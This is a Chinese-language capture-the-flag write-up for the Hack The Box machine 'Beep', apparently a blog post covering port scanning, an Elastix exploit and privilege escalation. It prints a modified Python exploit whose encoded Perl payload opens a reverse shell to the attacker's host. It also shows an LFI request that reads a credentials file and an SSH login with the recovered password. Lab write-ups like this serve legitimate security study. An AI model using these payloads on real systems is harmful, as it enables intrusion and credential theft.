Hack The Box::Beep

0x00 信息收集

sudo nmap -Pn -sV -sS -T 4 10.10.10.7 //sS,SYN扫描,这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息,但是需要root权限

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
25/tcp    open  smtp       Postfix smtpd
80/tcp    open  http       Apache httpd 2.2.3
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp   open  rpcbind    2 (RPC #100000)
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp   open  ssl/https?
993/tcp   open  ssl/imap   Cyrus imapd
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4445/tcp  open  upnotifyp?
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

首先查看80端口,发现使用了elastix
Hack The Box::Beep

同时10000端口同样开启了http服务
Hack The Box::Beep

爆破路径,未发现可利用的地方。
10000端口的exp都需要利用用户名和密码,并且在多次尝试后IP被blocked,所以突破点集中在elastix.

0x01 漏洞利用

在exploidb中发现elastix有一个远程命令执行漏洞。
https://www.exploit-db.com/exploits/18650
但是该脚本执行出现问题,据报错信息,与SSL有关,继续查找相关信息。
程序中需要使用SIP(是一个应用层的信令控制协议。用于创建、修改和释放一个或多个参与者的会话),此处利用Kali的svwar定位SIP。

svwar -m INVITE -e100-300 10.10.10.7

调整Kali中有关TLS的设定

vim /etc/ssl/openssl.cnf

#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改为
[system_default_sect]
MinProtocol = None
CipherString = DEFAUL
修改EXP的代码如下
import urllib
import ssl
rhost="10.10.10.7"
lhost="10.10.14.5"
lport=4444
extension="233"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
urllib.urlopen(url, context=ctx)

执行脚本即可得到一个低权限的shell
Hack The Box::Beep

0x02 权限提升

利用exploit-db中提到的利用nmap提权,成功获取root权限。
Hack The Box::Beep

0x03 其他思路

通过exploit-db的搜索,会发现elaxtix还有一个LFI的漏洞,同样可以利用该漏洞。

https://10.10.10.7//vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf&module=Accounts&action

通过被包含的文件可以得到elastix账号和密码:admin/jEhdIekWmdjE 利用账号密码,可以成功登录到后台。
Hack The Box::Beep

利用大部分人密码设置雷同的心理,尝试利用ssh登录。

ssh -l root 10.10.10.7

Hack The Box::Beep

上一篇:《Java核心技术 卷I》学习笔记26:内部类


下一篇:Elasticsearch学习之基本核心概念